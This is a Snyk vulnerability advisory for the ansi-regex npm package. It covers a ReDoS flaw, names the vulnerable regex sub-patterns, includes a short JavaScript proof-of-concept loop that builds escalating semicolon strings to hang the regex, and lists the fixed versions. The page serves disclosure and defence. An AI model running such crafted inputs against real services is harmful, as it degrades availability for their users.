[email protected] vulnerabilities

Regular expression for matching ANSI escape codes

  • latest version

    6.2.2

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    3 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the ansi-regex package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

    PoC

    import ansiRegex from 'ansi-regex';
    
    for(var i = 1; i <= 50000; i++) {
        var time = Date.now();
        var attack_str = "\u001B["+";".repeat(i*10000);
        ansiRegex().test(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

    >=3.0.0 <3.0.1>=4.0.0 <4.1.1>=5.0.0 <5.0.1>=6.0.0 <6.0.1